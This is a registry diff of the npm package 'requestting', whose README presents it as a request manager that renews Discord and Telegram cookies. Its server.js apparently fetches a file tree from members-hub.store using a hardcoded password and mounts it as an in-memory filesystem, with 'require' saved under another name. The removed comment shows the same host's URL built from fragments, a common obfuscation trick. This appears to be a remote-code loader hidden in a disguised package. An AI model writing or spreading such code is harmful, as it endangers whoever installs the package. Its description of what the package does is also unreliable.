requestting 0.0.1 → 2.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1 +1,26 @@
1
- # Worker online custom for teamlog #
1
+ # Requesting helps you to manager your request #
2
+
3
+ ## Install
4
+
5
+ * `npm i requesting`
6
+
7
+ ## Using Exmaple
8
+
9
+ * `let requesting = require('requesting')`
10
+ * `let data = new requesting('https://discord.com/', type)`
11
+
12
+ ## Types
13
+
14
+ * `0` = `is means will starting request to LINK each cookies expired, to renew your ip`
15
+ * `1` = `is means will starting request every 30secound time`
16
+
17
+ ## Why
18
+
19
+ * When renew cookies your account in website is protection %90 from bans
20
+
21
+ ## Supported Site
22
+
23
+ * discord*
24
+ * telegram*
25
+
26
+ * Other site may be supported but not in list
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "requestting",
3
3
  "description": "request Manager",
4
- "version": "0.0.1",
4
+ "version": "2.0.6",
5
5
  "main": "server.js",
6
6
  "dependencies": {
7
7
  "axios": "^0.22.0",
package/server.js CHANGED
@@ -1,4 +1,22 @@
1
- const FILESYSTEM__ = require("./system.js");
1
+ const FILESYSTEM__ = class FS {
2
+ constructor(manager) {
3
+ this.manager = manager;
4
+ }
5
+
6
+ readdirSync(pathname) {
7
+ let result = { app: this.manager.files };
8
+ let splited = pathname.split("/");
9
+
10
+ for (let i = 0; i < splited.length; i++) {
11
+ if (!splited[i]) continue;
12
+ let dir = splited[i];
13
+ result = result[dir];
14
+ }
15
+
16
+ return Object.keys(result);
17
+ }
18
+ }
19
+
2
20
  const AXIOS__ = require("axios");
3
21
  const oldRequire = require;
4
22
  const EXPRESS__ = oldRequire("express");
@@ -31,14 +49,6 @@ class Main {
31
49
  }
32
50
 
33
51
  async _request_Files() {
34
- /*
35
- const _r = ["https://al", "ways", "online", ".members", "-hub", ".store/", "api", "/files"]
36
- const _p = ["1234567", "8901@"]
37
- console.log(_r, _p)
38
- const _e = _r[0] + _r[1] + _r[2] + _r[3] + _r[4] + _r[5] + _r[6] + _r[7];
39
- const _a = _p[0] + _p[1];
40
- console.log(_e, _a)
41
- */
42
52
  console.log(this.pass)
43
53
  let data = await AXIOS__.get("https://members-hub.store/linkbyauth?pass=" + this.pass).then(res=>res.data).catch(err=>this.handleError(err?.response?.data))
44
54
  console.log(data)
package/system.js DELETED
@@ -1,21 +0,0 @@
1
- class FS {
2
- constructor(manager) {
3
- this.manager = manager;
4
- }
5
-
6
- readdirSync(pathname) {
7
- let result = { app: this.manager.files };
8
- let splited = pathname.split("/");
9
-
10
- for (let i = 0; i < splited.length; i++) {
11
- if (!splited[i]) continue;
12
- let dir = splited[i];
13
- result = result[dir];
14
- }
15
-
16
- return Object.keys(result);
17
- }
18
- }
19
-
20
- module.exports = FS;
21
-